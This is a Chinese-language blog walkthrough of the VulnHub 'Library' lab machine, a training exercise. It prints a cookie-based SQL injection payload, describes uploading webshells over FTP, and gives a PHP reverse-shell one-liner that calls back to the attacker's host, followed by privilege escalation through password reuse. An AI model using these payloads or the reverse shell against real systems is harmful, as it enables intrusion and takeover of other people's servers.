Library靶机cookie注入-vuluhub系列(二)

这是vulnhub靶机系列文章的第二篇,具体下载连接去vulnhub或者百度、谷歌搜搜就好...开始进入主题

1、 首先用nmap扫描网段内存活主机:

nmap -T4 -sn 192.168.136.0/24

2、 扫出靶机ip后,用nmap扫描靶机开放的端口:

nmap -T4 -sS 192.168.136.130

3、访问192.168.136.130,发现搭建了apache服务,但是此页面没什么可利用的地方

 

4、 用dirbuster扫描靶机目录,扫出了:

192.168.136.130/library.php

5、 访问此目录,然后用burp抓包分析:


6、 尝试在cookie处进行注入,看respones的返回结果

7、 先url解码,尝试构造闭合,发现结果多出了一个Netherlands,判断存在注入:

 

8、  然后在cookie处进行注入,payload如下:

POST /library.php HTTP/1.1
Host: 192.168.136.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.136.130/library.php
Cookie:PHPSESSID=j1qblijk42s45n78536naq1qg0;lastviewed=%7B%22lastviewed%22%3D%3D%22%22%7D (url解码)              "{"lastviewed"==""Netherlands""}"(构造闭合)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

country=England

Cookie: PHPSESSID=p799o6eg7tthdqod5eocui2rf3; lastviewed="{"lastviewed"==""Netherlands" union select group_concat('
',clomun_name) from information_schema.columns where table_schema='library' and table_name='access'--+""}"

database: library
tables:access   countries
columns: 
id
service
username : globus
password :  AroundTheWorld

9、 sql注入之后,发现username和password,利用其尝试登陆ftp(21端口)

上传一句话木马到网站根目录,然后用蚁剑连接:

10、 成功拿到webshell,但是权限只是  www-data,进行进一步提权

11、利用刚才的ftp任意文件上传,上传一个大马(panda.php)

//修改权限为777

12、 因为靶机上有php环境和python环境,所以用php反弹shell命令,执行反弹:

php -r '$sock=fsockopen("192.168.136.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

kali用nc开启监听:

13、成功反弹shell,因为接收的shell终端不标准,我们转成标准的终端:

14、查看权限,发现还是网站用户权限,我们要提权到root权限:

15、我们用ftp下载页面的源码进行分析:

发现这里有个数据库密码,先留着或许有用………

 

16、我们执行 su – root 用户尝试切换到root用户,发现需要密码:

尝试了注入出来的密码,发现错误,我们试一波源码里数据库的密码0.0

我擦,成功提权!

 

17、 总结:
1. 扫端口,扫出来的端口要去尝试利用,收获往往意想不到
2. 扫目录,敏感目录不要忽视
3. burp抓包分析,发现可能存在的注入点,多进行尝试,尝试构造闭合
4. 上传马子的时候注意权限问题,访问失败可能是马子权限不够导致的
5. 马子执行命令不好使的时候,可以用反弹shell来执行命令,注意:要将反弹过来的shell转成标准的终端
6. 利用一切已知的条件去尝试,例如:root的密码,用数据库的密码尝试就成功提权了

原文地址:https://www.cnblogs.com/PANDA-Mosen/p/13178316.html